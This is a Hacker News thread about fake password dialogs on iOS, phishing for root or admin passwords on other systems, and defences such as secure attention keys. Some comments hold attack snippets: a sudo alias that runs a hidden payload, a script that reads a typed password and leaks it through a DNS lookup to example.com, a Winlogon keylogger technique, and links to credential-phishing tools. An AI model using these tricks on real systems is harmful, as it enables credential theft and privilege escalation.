iOS Privacy: Easily get a user's Apple ID password, just by asking
krausefx.comWhen the iPhone X notch was first announced I thought it would be a fantastic security UI opportunity: What if the top of the screen was only writable by the system? It would normally be black or show the time, but whenever there is a password dialog, it turns green with a security lock. This is something I've wanted on all computers for a while: fundamentally, any computer where you can get access to the whole screen's buffer means you can fake a logged out screen asking you to log in, or any other number of phishing attacks. The only way to prevent this is to have a separate secure screen buffer for a special part of the screen that the user can use to visually verify the security of an operation. The notch provided an awesome opportunity for the because: 1) it was NEW screen real estate, it wouldn't feel like you were acquiescing existing screen space for this security need and 2) it looks absolutely horrible when integrated into apps anyways, so why not use it minimally for good reason instead?
Especially when there’s already a UI precedent: the coloured status bar indicating a call, personal hotspot connection, etc. Great idea!
Fantastic idea, upvote for visibility. Reminds me of the old ctrl+alt+delete but much more friendly for the user.
Ditto for the touch bar on Macbooks (although that doesn't fix the issues for OS X in general).
This already exists on Windows (via require Ctrl-Alt-Del) and to a lesser degree on Android (by always being able to show the action bar in fullscreen).
Not really. From the GP
> This is something I've wanted on all computers for a while: fundamentally, any computer where you can get access to the whole screen's buffer means you can fake a logged out screen asking you to log in, or any other number of phishing attacks.
In Windows, I can render the whole screen, so I can put up a fake login dialog. To some extent, Windows users are used to requiring a ctrl-alt-delete before being prompted for a password, but there's no reason why I can't put up a static image of what the screen looks like during a password request. Having a portion of the screen which an application is forbidden from accessing would solve this, but the requirement for full-screen applications that want to write every user-visible pixel means that there's fundamentally no way to prevent this attack.
No, he's correct.
Ctrl-Alt-Delete on windows is a privileged hotkey that goes directly to the kernel. A phishing program can't intercept it once it has been pressed. If you know that Ctrl-Alt-Delete has been pressed, you are already privileged as the kernel and would be able to compromise a hypothetical protected screen buffer anyways.
https://i.imgur.com/BE0xN3i.png
The Windows login screen here doesn't allow you to type in the password until you press the magical keys that only the kernel can access. This significantly increases security, since any phishing program that puts up a fake static image doesn't know when to present the login dialog.
Programs can detect Ctrl alt del somehow, because RDP clients do it. But they can't intercept it.
But a phishing program can just show the enter password screen, without the ctrl alt del prompt. Few users understand the security need to press ctrl alt del. And in newer Windows, it doesn't seem to prompt unless you enable it via GP.
Doesn’t RDP use Ctrl+Alt+End for bringing up the password screen?
Yes.
There are two vectors here; the one that the post was talking about is the fact that as long as an application controls the screen, they can show whatever they want -- for example, an app (or a full-screen web site) could render a pixel-perfect version of this:
https://i.stack.imgur.com/LHDfV.png
And the user would say "oh, another stupid UAC prompt", enter their password, and that would be that -- UAC doesn't stop and say "press ctrl-alt-delete to enter your password". If it did, then that would significantly decrease the risk here.
They can detect it, VMWARE for example detects it as well and tells you that you should use ctrl+alt+insert.
Applications cannot fake ctrl+alt+del.
That said you can integrate with the windows login and extend it to show w/e you want I've written a client for a smart card for GINA a long long time ago.
https://msdn.microsoft.com/en-us/library/windows/desktop/ms7...
Vmware requires root to be installed. At that point you are pwned already.
I also think it requires signed drivers. Those have to be verified by Microsoft.
In windows 10 the ctrl-alt-del to login is gone as default. Now you just have to press any key. Presumably due to touch screen support and usability.
Great idea. Except, I'm not sure if the average user would benefit from this. Would they be aware of this feature?
(Of course, no question that for us hackers this would be a very useful improvement!)
Not initially, but just as users can be 'trained' to automatically enter in their password when they see a popup, they can eventually be trained to expect a new UI element to indicate it's secure.
Seems like in browsers, the lock icon and (for EV certs) company name in the location bar has been a plus, so there's certainly precedent for this sort of thing.
This would also make sense on the MBP's touchbar
Yes indeed. I'm always a little anxious when an installer (or something) prompts me for an administrator password, and some secure channel indicating that it's really the OS that's asking for it would help to assuage my fears.
What does prevent the developer from making this new screen buffer blank/black and making the top of app's screen look exactly like that shape and style? The user won't see the difference except small top margin.
Am I missing something here? Isn't the notch already taken up by FaceID sensors/front-facing camera? It isn't really "extra screen real estate".
I do like the idea of a separate indicator for system-wide security events though. Perhaps an LED indicator although that doesn't seem very Apple-like.
I believe OP is referring to the screen real estate next to the notch on both sides.
I worked in dumb phone standards 12 years ago (GlobalPlatform) and it was actually in the standards to tell the user "you are in the secure zone". Well, OEMS in the western world were not really willing to implement it, funny it comes back now.
Great idea. I wish Apple would consider this.
Plus 3) It would make app development easier. No more trying to fit your UI around the notch.
fantastic idea
This is related to an issue called root-phishing or superuser-phishing. You can do this with the Windows admin password prompt, the MacOS prompt, or with Linux sudo, as long as you can run code from a user account or edit a single file.
alias sudo='sudo ./somethingbad; sudo'
There are many solutions. First is requiring un-catchable keyboard shortcut to enter the password. Something like "ctrl-alt-delete" for Windows (I'm not sure if it's un-catchable, but you got an idea) or even better some unused key like pause/break. User will be trained to press this shortcut and app can't replicate it, so user won't be tricked. Second is using fingerprint. iOS should just use fingerprint always instead of asking the password (an exception is first boot or failed fingerprint). Now the case of failed fingerprint might be exploited, but I think it could be solved too. Require pressing of "home" button to acknowledge fingerprint. If fingerprint is real, OS will ignore this press. If fingerprint is fake, OS will just close an app.
Unfortunately operating system developers are not considering this attack. But they certainly can defend if they want.
I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode. In days past, this sort of thing was called a secure attention key.
https://en.wikipedia.org/wiki/Secure_attention_key
And you're right, this needs to be a default part of any login handler. Why don't we use it when logging into a Linux console? The login prompt could easily be spoofed by a user-mode program.
>The login prompt could easily be spoofed by a user-mode program.
On the VT100 terminals in the computer lab in college (back in the early 90s) someone was doing this. A shell script to harness logins, print it was unsuccessful and log out. .
There was a key at the top of the vt-100 keyboard that would reset it. The "key" part was often pried off (accidental pressing was bad), but you could still press the nub left behind.
In my misspent youth I wrote a login trojan for VAX/VMS. It circumvented the "break" key trick that you are alluding to above. I had to drop down to Bliss-32 and use the $QIO syscall but it can be done. Once I had captured the sysadmin password and logged in once to prove my achievement I never ran it again. Learned many interesting things though. My task was made easier because DEC published the source code for the OS, albeit as Microfiche. I was therefore able to study the terminal handler code and figure out how to make a trojan that perfectly emulated the regular login behavior including all its timeouts and responses to various control keys.
Oh, and the VAX-11/780 I had hacked into crashed due to a memory board fault in the minute after I had logged in with my snagged admin password. I spent the remainder of the weekend sweating that I had broken the VAX since I had no idea what had happened. I had just given myself all 32 of the VMS account privileges when it went down.
> DEC published the source code for the OS, albeit as Microfiche.
Wait.... What?
Nice job decoding that.
It was written in Bliss so not so hard if you understand BCPL or C. Also I was 17 and had a lot of time on my hands...
I think (s)he wonders how you read that.
My guess would be that you did using the microfiche reader at your university or at a library. Before digitization, such devices were fairly common wherever people had a lot of text to archive.
(Aside: https://en.wikipedia.org/wiki/Microform even has a photo of a “DuKane brand microfiche reader with source code printed on the films.”. I couldn’t read enough of the text on the envelope to decide whether that is true from the photograph
Oh yeah. I worked at a defense contractor so we had facilities to read and print out Microfiche.
30 or so years later I bought a huge stack of DEC microfiche on eBay so I could still do it if I wanted. I don't have equipment to read it though.
The Linux console does support a secure attention key that can't be trapped and will kill any process which has /dev/console open. root can configure it with /sbin/loadkeys.
Not sure how distributions tend to configure it by default.
I just looked at the table with dumpkeys, but I'm not sure what I'd have to look for to identify that key.
doesn't show anything that stands out, except maybe for Boot and Break. (But I guess that's a line break?) What would the key do when pressed?sudo dumpkeys | rg --only-matching '=.*' | sort | uniqThe key will kill any process with the console open (which should then cause login to respawn) and log the killed processes.
If you want to test it then this will set Ctrl-Alt-Esc as your SAK:
echo "control alt keycode 1 = SAK" | loadkeys
If magic sysrq is enabled, this is alt+sysrq+k. (Usually sysrq is same key as printscreen)
Altering the user's environment is a vector around security. I hadn't considered the sudo angle before, but there's a tradition of invoking binaries from their full path to mitigate the problem. So instead of sudo on its own, you would use /usr/sbin/sudo, and make sure your PATH variable never contains the current directory. Better mitigations disallow executables in users' home folders.
Not really. Attacker can execute their own shell from your profile script. Who knows how it will handle paths.
Depending on configuration, this can be prevented with noexec mount, selinux or SMACK. Grsecurity and RSBAC can prevent unwanted exec.
Systems like apparmor, or grsecurity MAC, TOMOYO or YAMA do not work against executing wrong executables.
IMA (signing and verifying files) can work too.
All bets are off in case there is a local root exploit in kernel or any setuid app.
> I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode.
Keyloggers can still enter the winlogon session and log all keystrokes there, they need to run as a SYSTEM service, but it's very possible to do.
I'm surprised this isn't better documented, but it's pretty much as simple as copying the token from the existing Winlogon process, adjusting the privileges appropriately and calling CreateProcessAsUser() with lpDesktop set to Winsta0\Winlogon.
If you have keyloggers running as SYSTEM you've already lost.
True, the scenario in which ctrl+alt+del would help is one in which only a limited account had been compromised, but the SYSTEM level winlogon keylogger allows you to do things like turn local admin into network admin and it certainly doesn't require kernel mode access. I was more commenting on the requirement of kernel mode access or hijacking of special interrupts than on the usefulness in general.
>they need to run as a SYSTEM service, but it's very possible to do.
That makes their threat a moot point...
You're right about CTRL-ALT-Delete, the problem is that users are terrible at remembering to do so without being prompted. I created a Windows XP phish-login box back in the day, that simply took you right to the login box without prompting for the key-combination, and nobody found it (and happily entered their credentials).
Any system that relies on humans to do the right thing is doomed to failure. Even something as trivial as hitting three keys each and every time they login; part of the problem with it is that it is so inconsistent (i.e. different Windows machines either do or do not prompt for the key-combination based on their configuration, so users have a mental model of skipping it).
> iOS should just use fingerprint always ...
Some of us don't want to use TouchID so, no, it shouldn't.
True, but the parent can just modify that to say "use touchID for users who have it enabled".
Do you not have fingers? Or is there some other good reason not to use TouchID outside of the lock screen?
Not trusting apple with keeping their promise they won't share the finger print in the future is a good reason.
So you're saying you're worried about apple pushing a malicious iOS update because they want your fingerprint?
If yes, this feels utterly nonsensical. They would be able to grab your fingerprint from the sensor anyway, whether you are actively using it or not...
Alternatively you might be spreading some weird conspiracy theory that instead of securely storing a "hash" of the fingerprint on a HSM, current touchid implementations are secretly sharing your fingerprints with Apple.
That's not really any less nonsensical.
How anybody can still use this argument after prism is beyong my understanding. Literally. I do mean i can't grasp it.
What argument? It’s utterly ridiculous that you would assume Apple to be incapable of collecting your fingerprint data simply because you didn’t enable TouchID in their software.
Do you just not use the home button?
If your password gets compromised, you can change your passwords.
If your fingerprint gets compromised, you CANT change your finger (erm... probably. I dunno of any easy way in any case)
It's not your fingerprint that's the issue, it's the data that represents your fingerprint. If that data gets compromised then it's nigh impossible to change your fingerprint. However, I believe there are ways to make this very significantly difficult, and I believe Apple has achieved this level of difficulty by placing the fingerprint data in the secure enclave.
Biometrics (fingerprint, face id, etc) are a poor use for authentication (password) because they can be copied and compromised.
Biometrics have value for identity verification (username) when used in conjunction with a password
This was actually the idea behind using ctrl+alt+del for login. Originally MS wanted a dedicated key for this, but IBM declined (or so the story goes), so they settled for ctrl+alt+del instead.
I think this is a misunderstanding. Microsoft didn’t ask IBM something for logging users in in the DOS days. They wanted a way to reset via the keyboard. IBM provided that with Crtl-Alt-Del.
Windows didn’t use this for anything until NT in the early 90s, and it was their choice to do so. Nothing to do with IBM.
When people ask Gates about Ctrl-Alt-Del they’re obviously asking about why it was chosen for a login sequence, but I believe Gates conveniently answers a different question to make it seem like IBM had something to do with that choice.
Fingerprint (and other "bio" features like eye retina) scans come with their own problems.
For example, how do you handle compromise (I suspect fingerprint mills / printers are not ubiquitous just because there is no demand for fake fingerprints; technologically they should be easy to make). Also, do you really want a unique match every time you log in from different devices (e.g., work and home); etc., etc.
Sorry, fingerprint solution may be worse than the disease it is trying to cure.
The point is the OS manages your fingerprint, and even if you have it, you can't easily send a stolen fingerprint to the OS.
If you have access to the hardware, that's a whole different attack vector.
>Something like "ctrl-alt-delete" for Windows (I'm not sure if it's un-catchable, but you got an idea) or even better some unused key like pause/break.
I think that even that is catchable (if needed), at least on old Windows XP Embedded, if you used minlogon (which happened very often) you lost ctrl+alt+del access to Task Manager, but there was a third-party service to restore the "hook":
http://www.mp3car.com/forum/mp3car-technical-software/softwa...
but does it suppress the real thing? otherwise the user is going to see the (real) windows security dialog, followed by your fake one after they exited the real one.
Really cannot remember how the mentioned little program worked with the "real" Winlogon, i.e. if it managed to hook "before" it the key sequence.
Anyway there are other ways, here is one:
http://www.oblita.com/interception.html
about midpage there is a sample to "intercept and block" the sequence.
but that requires a kernel mode component, and if you have kernel access all bets are off. for instance, you can directly patch out the login screen (which is in userspace) to steal the password for you.
Sure, but I bet that some clever folks may well "disguise" such a kernel component into (say) an update or a new install in such a way that the user is tricked as well to allow it.
No idea anyway (since the topic is on iOS) how that OS would behave and what could be the equivalent of a Ctrl+Alt+Del key sequence on a keyboardless device such as a iPhone or iPad.
If you've got a kernel level hack already, just use a keylogger.
Is there any reason you can’t watch for control-alt and assume that delete will be pressed soon and react to that?
You could, but then when the delete actually gets pressed, you'll get pre-empted by the real thing.
Back on XP I recall C-A-D not showing the task manager on malware-infested machines. Not sure if that's changed since then (is the full-screen c-a-d in 7/8/10 related)?
This only works when malware already has root privileges.
So it's useful in the narrow-ish case of AD privilege escalation.
That's slightly different though, in order to do this you need to have shell access on the target's computer. TFA is about displaying a password dialog from an unprivileged app or website.
The equivalent scenario with sudo would be to have a website display a mock terminal asking for sudo password, although that would be a lot harder to do inconspicuously because I don't expect terminal windows to pop out of the blue. It's also the reason why browser notify you when a page wants to go fullscreen.
I think the right solution to this problem is simply not to have privileged system UI elements drawn in a way that can be mimicked by a regular app or website. LastPass made a similar mistake: https://github.com/cxxr/lostpass
I don't have an iphone so I'm not sure what would be the right way to deal with that. AFAIK apps can draw to the entire screen surface so it sounds tricky to avoid.
Maybe the actual password dialogue could contain some kind of visual code, like the one on paper money. Then the OS could detect when a fake password input is shown to the user, just like copy machines detect it when you put a bank note in the scanner.
> That's slightly different though, in order to do this you need to have shell access on the target's computer.
But I suppose any application can write to the current user's .bashrc file right? Then it can also set the alias whenever the user opens a terminal.
I don't think running a native application on a desktop is similar to running a sandboxed app on iOS. The security implication is wildly different IMO. I think a webapp is a more apt comparison.
That's what shell access means. Running a program = access to system() and thus shell access.
I wrote this email to sjobs@apple.com back in 2011. Never heard back :-/
Dear Steve,
There's one thing that's always bothered me about MacOS security. When a MacOS dialog pops up (e.g. to ask you for your password), there'sno way to tell for sure that it's MacOS that owns the dialog. A similar problem exists on the iPhone when I am asked for my iTunes password.
I wanted to write and suggest an easy fix, that would make the next version of MacOS and iOS much more secure. Why not have the users set a personal phrase, that MacOS will store and show them in every native MacOS dialog, to prove that it's really coming from MacOS? Of course, you'd have to prevent apps from screen-capturing that portion of the screen for the entire time the dialog is up, and capturing the keystrokes that are being sent to the dialog, but that shouldn't be too much of a problem. You can do something similar for the iPhone.
I really hope this finds its way into MacOS. After MacOS X came out I switched from the PC and haven't looked back. It's awesome.
Sincerely, Greg ...
Prescient of you!
Although I’m skeptical that users will really be alerted by the absence of a thing. The users I work with wouldn’t. But I would prefer it.
The inability to use the home button on the dialogues has become second nature to me out of healthy distrust/ paranoia.
I guess since writing that email, I would have preferred the option of taking a photo (and not storing it anywhere except here). You get used to system dialogs "looking like this" with the photo. If something is wrong, most humans pick it up easily. Only for blind users do you need the text.
With the hundreds of password dialogs that you get in iOS for various reasons, I think people would catch on pretty quickly to a new secure variant.
Yeah, some people wouldn't, but that isn't a reason to leave it with the terrible implementation they have now. This has annoyed me since forever on iOS.
I mean this flaw has been known for years. How long have we been pressing ctrl-alt-delete to log in to Windows?
Man I wish this had been seen and acted on! Would be an excellent feature (and one I’ve thought of myself before).
It is crazy to me that this is an issue on iOS or Android, there is so much they can do to actually make it secure.
For one, on iOS, just "fading out" the app view over the users homescreen wallpaper. There is no way an app can do this, and it is a simple visual indication that the request is coming from the OS. Problem solved.
Also something I don't understand - the OS knows where the request is coming from, yet they don't show an app icon in that view? Why not?
This has been a problem for years with such simple solutions, yet nobody has touched it.
> "fading out" the app view over the users homescreen wallpaper
This is done sometimes, but has only limited success. Most users will click the "your computer is infected, click here to upgrade!" fake windows presented by webpage JS on a PC. You really think an app-fade effect will help enough to make a difference? It would help a bit, but not much.
> they don't show an app icon in that view? Why not?
Because then malicious/spammy applications would present fake alerts, which were non-badged normal popups, and add false badges. I guess you could badge everything, and push the problem onto apps whose icons look similar enough to other apps when shrunk down to whatever size your badge is. Either way, it still ends up in the same boat: probably a little bit helpful, but not much.
I'm specifically referring to iOS with the window fade. Of course the issue with it is that the user would have to notice the lack-of the effect on the fake popups (or apps trying to fake the users app icons/wallpaper)
My point is that literally anything would be better than a generic UIAlertController with a password field that exists today, I can fake one in literally ten seconds and have it be remotely triggered by a key on a server to pass through app review. Anything added would enhance security for users.
I believe GP was saying that if there were a fade, it would take you "literally eleven seconds" to fake, and users would be no more likely to nice its presence or absence than they do phishing attempts on desktop computers.
A solution is to only ask for the password when absolutely necessary. I still don't understand why I need to enter a password (or use touchID) to download a free app. Shouldn't it be enough to login when I want to buy something for the first time in-app? AFAIK that's how android handles it.
You need to enter your password when downloading a free app so that if someone finds your phone they can’t install a malicious hacking or key logging app on to your phone. Installing apps is a security risk, not just a financial issue.
If someone finds my phone, it'll be locked and they won't be able to install anything. If they can unlock the phone then it's already game over for me.
You’re using the phone and set it down, it hasn’t auto locked yet.
They have your lock screen password but not your iTunes password.
You thought they were a friend and let them borrow your unlocked phone.
Even for a security conscience person there are plenty of situations where someone could get your unlocked phone.
And most people aren’t security conscience. It’s to protect them, not you.
I get that prompting for an iCloud password again adds an extra step, but if someone has your unlocked phone they probably have enough (email, SMS, phone) to take over your iCloud account anyway.
> You’re using the phone and set it down, it hasn’t auto locked yet.
I'm not even security conscious, and always lock my phone before setting it down. I think it started because turning off the screen as soon as you're done saved significant battery life on the phones prior to them knowing if they were laying flat.
If someone finds my phone, it'll be locked and they won't be able to install anything
“Does your phone have a calculator? Mine’s in my bag and I need to add these values real quick.”
On ios, you can get to the calculator while the system is still locked.
It was just an example.
You could use Guided Access to allow them to use the calculator without leaving the app.
"Then get yours out, you ain't touching my phone."
Easy to say when defending your point on Hacker News. We're already talking about security, and about someone with malicious intent having access to your phone. In the context of this conversation, you're already in simulated high security mental mode.
It's completely different when you're relaxed (maybe having some fun), and the person asking for your phone is someone you know.
In a relaxed social environment, you will probably not be that rude to someone you know.
I think the person you're responding to isn't familiar with relaxed social environments. Seriously, it's so hard to find empathy in security research.
> Seriously, it's so hard to find empathy in security research.
If I ever get a job in that sphere, I'll let you know.
> In a relaxed social environment, you will probably not be that rude
Perhaps I might phrase it slightly differently depending on who it was but the sentiment would be exactly the same[1] - a blanket refusal.
[1] Nowadays - back when I was on the Nokias or SE phones, sure, use my phone as a calculator, go nuts.
"Yes, but no, use your own."
No one has touched my phone while it was unlocked since middle school.
Most of the people have girlfriends and friends.
Believe me, it is possible to have a security-conscious, trustworthy girlfriend who respects your privacy if you do the same to her.
And I've never given my wife a single password or passcode or PIN. But she can still use my damn phone or computer if she wants, as can my friends. Worst case scenario, I get a 55 gallon drum of lube ordered on my Amazon account.
For me, the principle is I never divulge credentials, but I trust people I know. Therefore I see no conflict with adding my wife's fingerprint to TouchID, for example. (though it's not worth the effort of re-enrolling her every time I get a new device or a new screen or reinstall from scratch, so that's long lost).
If someone has access to my unlocked phone, there are worse things they can do than installing a malicious app. First of all, apps are generally tested before they appear in the store. I don't think attackers would install an app if they can just steal the data directly.
If the data they want is a recording of your next client meeting, installing an app (possibly one that exploits a not-yet well-known bug, say a root exploit that only works from an app) might be one way to do it.
Remember [1]? Imagine an exploit not targeting safari, but somehow vulnerable via an app, a la [2].
[1] https://citizenlab.ca/2016/08/million-dollar-dissident-iphon...
[2] http://iphone.appleinsider.com/articles/16/08/29/apple-brief...
Ios apps cannot log keys at all. They're sandboxed.
Not entirely -- keyboard apps can intercept keystrokes and send them to a remote server.
As far as I can remember, 3rd party keyboards are not allowed for password prompts.
Only when those fields are appropriately annotated, which anecdotally I've run into plenty that are not tagged correctly.
Keyboard apps explicitly have to ask for “full access” and you need to opt-in. Also, apps can block 3rd party keyboards, not sure how many secure / banking apps do that though.
What's stopping an app from imitating the keyboard?
Fundamentally, we're talking about imbuing meaning to patterns of light on a screen. And apps can write on any part of the screen. I suspect the only way to battle this is to have a separate screen which is controllable only from the system.
And even many people will fall for password prompts in the main screen.
> What's stopping an app from imitating the keyboard?
What is the end goal of that? If you have control of the screen (aka are the foreground app), why would you need to emulate the keyboard? If you aren't the foreground app, then you aren't going to be able to render a keyboard on the screen (on iOS anyway).
> why would you need to emulate the keyboard?
to avoid the OS restrictions on which keyboard app is used for passwords.
> you aren't going to be able to render a keyboard on the screen (on iOS anyway).
Are you saying it is impossible to render the pixels and accept screen touches in a way that it acts and looks like a "real" keyboard app?
Dude. Stop and think for a moment. If I am able to render anything on the screen at all, it means I’m the foreground app on iOS. I don’t need to fake being a keyboard, because I can use the real thing Apple provides. So no, I’m not saying it’s impossible if I can render anything at all, what I’m saying is that outside being the foreground app, rendering anything on screen is impossible outside very tightly controlled interfaces (like custom keyboards that this thread was about before you side tracked it).
I am only talking about what the app does when it is the foreground app. I should have addressed that in the previous comment.
It's not a sidetrack, because that's what the actual article is about.
So if you really were talking about the foreground app and not just covering now, then why does one need to make a fake keyboard!? That makes no sense at all.
I was just making a more fundamental point (see my middle para) and decided to hang it off this thread rather than making it top level.
I didn't have a specific scenario in mind.
But to address your question ...
Say a user is reassured because he knows that only approved keyboard apps can accept passwords.
This malware app pops up a password prompt AND some images and input buttons that looks very much like a 'proper' keyboard.
The user enters his password.
Game over.
It is free in cost, not in terms of your privacy.
For example let's say you handed your phone to your kid, they downloaded a free app, gave that app your entire contact list, and then that app spammed everyone you know? For the sake of example let's call that app LinkedIn.
> For the sake of example let's call that app LinkedIn.
It’s bad that LinkedIn has such a reputation that I automatically assume they likely did just as you alluded that they might’ve done.
http://addconnectionssettlement.com
They were pioneers in the field!
Let's say you already had LinkedIn installed without contact permissions, and your kid flipped that switch and spammed everyone you knew?
Maybe Apple should require authentication to grant those permissions.... Of course, then we're back to the problem of password fatigue.
That, or logged your gps location to a Web service? Maybe along with wlan ssids and Mac addresses?
There's a toggle (in Settings > App Store, iirc) to ask for auth only on non-free (as in beer) apps/IAPs.
Edit: apparently there's no toggle if you have Touch ID enabled. You have to disable it for the App Store for this to work, but I think Touch ID is fast enough anyway...
True, but those savvy enough to find that will probably notice when an application requests a password artificially.
What if the phone/iPad belongs to your kid and you don't want her to be installing apps without vetting them beforehand? That's a legitimate reason to ask for prompts. Should be a setting though (if it's not already)
Then you can enable parental controls
One solution would be for an OS to never have such a popup that requested credentials to be entered right there. Instead, the popup should just say "Visit System Settings to enter your account password to download whatever."
This would be similar to measures companies say in emails, "we never ask for your password, always visit our site directly," etc.
What’s annoying about the iTunes login is they expect you to know your password. I use a password manager, I’m not about to memorize my iTunes pass. Naturally those logins windows don’t work with password managers either.
Better solution would be not having login windows at all and make it all in the app and do a sort of oauth type flow if the system needs to share it.
The single biggest point of confusion for newcomers to iOS in my experience is the dichotomy between the iTunes password and the device pass code and internalizing which is needed when.
The iTunes password is needed so rarely these days that most people really struggle to even remember setting it.
IMO, the iTunes password should be eliminated entirely. But I have no idea how to handle the activation lock situation if no authenticated device is on hand.
> IMO, the iTunes password should be eliminated entirely.
Whoa whoa whoa - hold on there. Your ‘iTunes password’ protects purchases in the App Store and iTunes media stores, access to the iCloud website, your iCloud email, iMessages, app data such as notes and contacts, third party app data, and freaking backups of your entire device.
What exactly would you suggest Apple do to eliminate that account? You might as well say that google should eliminate their gmail passwords, or that Dropbox should eliminate the account password.
Some of those could be handled by the device password (although apple might have dug themselves a hole with touch I'd there) - the other with an one time password generator whose secret was available to trusted ios devices? For Apple services, that might even be simplified to a callback system; mail app on desktop shows a token "bushy eyebrows", ios auth app display the token "busy eyebrows" and a login/cancel prompt. The actual auth can be done in a challenge - response fashion between the service and the ios device. Another use for the Apple watch...
Should just be handled by icloud instead of iTunes, even though these days it's the same thing
People with kids need two levels of access.
Lots of tools and apps require knowing passwords; my password manager just lets me press "Copy" when I open it to a particular login, and then I paste it into the iTunes prompt or elsewhere. A little extra hassle but I don't need to remember the password.
Thats what I do, but when you have a modal window like the one in the article, you cant get back to it if you hit cancel to open your password manager. I guess you could copy your password and hope it pops back up...
My personal password strategy requires that I do, in fact, have to recall from memory a small number of secure passwords (device access passwords, ssh key passwords, password manager password and one web service password (iCloud)).
My memorized password count is less than 10 and they're all long and secure (and completely different from one another). It's unfortunate that iCloud is on that list, but it's the only one that shouldn't really belong there, so I'm okay with it.
>You can do this with the Windows admin password prompt
doesn't work when UAC is enabled. Even if you were able to phish the administrator password, trying to login as the administrator using that password (such as by using runas), you'll still end up with a restricted access token. You still need to somehow click "yes" on UAC to get administrative access, which is no small feat because that prompt is on the secure desktop.
That's interesting. I haven't used Windows since UAC came out. Is a Windows password useless to an application then?
UAC came out over 10 years ago! In any case, NT is structured quite differently than the typical UNIX variants. When you log in, NT creates two access tokens for you. One with all your privileges, and one with admin rights masked out. When a process is launched it uses the non-admin one by default, even if you are the admin user.
When a thread requires admin privileges, NT will first check if your unmasked token already has those rights, in which case, it will prompt you (UAC) for permission to use the token. This is unlike traditional UNIX where the 'effective user' changes to root on a global level, not just per-thread. So you get 10 minutes (or w/e) as root to do your thing.
For all of Microsoft's faults, I can't count how many feats of engineering they've pulled off to maintain backwards compatibility.
you might be able to work around it if RDP is enabled, by using the credentials to start a RDP session, then clicking the UAC prompt from within the RDP session. problem is, RDP isn't enabled by default, and you need admin permissions to enable it.
> doesn't work when UAC is enabled
Which is funny because disabling UAC is one of the first things I (and many many others) have done since Windows 7 to make using Windows a little more tolerable.
I could understand disabling UAC on Vista, but I find it perfectly sensible since Win7. Also blame ancient programs which request administrator access without reason.
>I find it perfectly sensible since Win7
funny thing is, the thing that made it "sensible" since win7 also makes it insecure. if you care about security, it's prompt for everything or nothing.
https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=...
That's like running everything as root or passwordless sudo. Seriously: don't do that.
I really like the solution that includes the iOS background — the os password dialogues should adopt this approach immediately. Zoom out to a view that includes springboard and your background image, and maybe include a preview of the app in a little window that the user can tap to return to the app rather than a non-contextual “cancel” button if the password prompt is related to the app context for some reason.
I've seen this at banks that do something similar (and it's probably for this reason). They include a user-selected picture at logon, so if you see the wrong picture, you know that their logon page is being spoofed.
I have no idea of the feasibility of locking down some piece of user data such that the OS can display it for privileged access, but random apps cannot, but this seems like a reasonable solution. Include some user selected word or picture in the title bar of the settings dialog so that users know its the real one.
Those pictures can easily be proxies by a spoofer, so I don't see the point of them.
Those pictures are indeed useless when used by banks, since they do nothing against MITM. But for the attack described in the OP they would actually be a reasonable defense, since this sort of indiscriminate low-privilege phishing can't intercept requests between the user and the system in order to determine the secret image.
I think the best way to resolve this is a hardware button that the user has to press.
So the dialog pops up and says "please press button then enter your password". User needs to press the button for the textbox to appear. This hardware button auto-closes whatever the active application if the active application is not the system dialog.
This way you have a hardware control verifying the dialog isn't a phishing attack.
Of course, attackers could mimic the dialog after the button had been pressed if it were a genuine dialog. But as long as you can train your users into only entering their password after they've pressed the button then hopefully most might realise something was amiss if requested for a password without the button press.
>A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt.
IIRC, this is similar to what happens in Windows since Vista. When you need to input your root password, all applications are minimized and you only see a dim wallpaper and the password prompt.
Right, but in Windows can't any application reproduce that behavior?
Yup. And I'm sure there's some implementation of this in the form of a sketchy library.
Powershell script to do something similar: https://raw.githubusercontent.com/enigma0x3/Invoke-LoginProm...
Blog post with screenshots: http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-...
There's probably some browser based equivalent somewhere too.
Ya there are some solutions, like you can prefix a '\' before a command to make sure you are running the real command and not a alias, so in your example running:
would defeat your attack. But few are in the practice of doing that.\sudo <command>> But few are in the practice of doing that.
Because there's no point. If I'm able to manipulate your shell environment to set aliases, I can also change your search path so that \sudo picks up the program I want. And no, you can't defeat that by only running /usr/bin/sudo because there are a million other nasty things to do once an attacker has reached this level of control.
I'm sure there are plenty of tricks. I could be wrong, but I think the \ is a shell builtin thing, so I don't think creating a \sudo or the like would work. You could set the PATH and put a fake sudo in a secret directory in there that precedes the /usr/bin/sudo though, so that would be a problem.
untested, but I think you could possibly bypass it with a malicious .inputrc binding for <enter>, although making it conditional such that it only removed a leading \ could be tricky.
In Bash there might also be a way to do something cunning with a 'trap DEBUG' hook to modify the command between submission and it actually being run.
Or you could just exec into a terminal multiplexer like screen[1] to intercept & rewrite/suppress both commands and output.
Edit: It's much easier than that.
The function:
will still be called by '\echo test' (The 'command' prefix stops it becoming a forkbomb :)echo () { command echo "hax" $@; }[1] or maybe just hijack stdin/out FDs from the shell?
Would it?
If the attacker was able to backdoor the system, isn't also possible they could install a modified shell that no-ops \?
Isn't the login shell set in /etc/passwd? So you would need root to either modify that, or to overwrite the shell binary.
Didn't know that! Thanks.
There's already something in iOS to handle this: The overlay for apple pay. It slides up from the bottom and is easily distinguishable from the app you're using. If they had something similar for the iTunes password it would work really well
> A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. The user would immediately recognize the wallpaper and icons to be theirs, which are two pieces of information unavailable to the application. However, the application could still fool the user by displaying the box over the application anyway.
Isn't it exactly what happens on windows anyway?
I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.
There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.).
[1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal
You can't insert a pam module without root? But you can alias sudo to a script that does something like:
Ed: from the github link: > Usage: add "auth required pam_steal.so" into /etc/pam.d/common-authecho "enter sudo pw:" read pw # log ip and query on ns for # example.com host "$USER.$pw.example.com" & echo "Invalid pw" sudo $*If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...
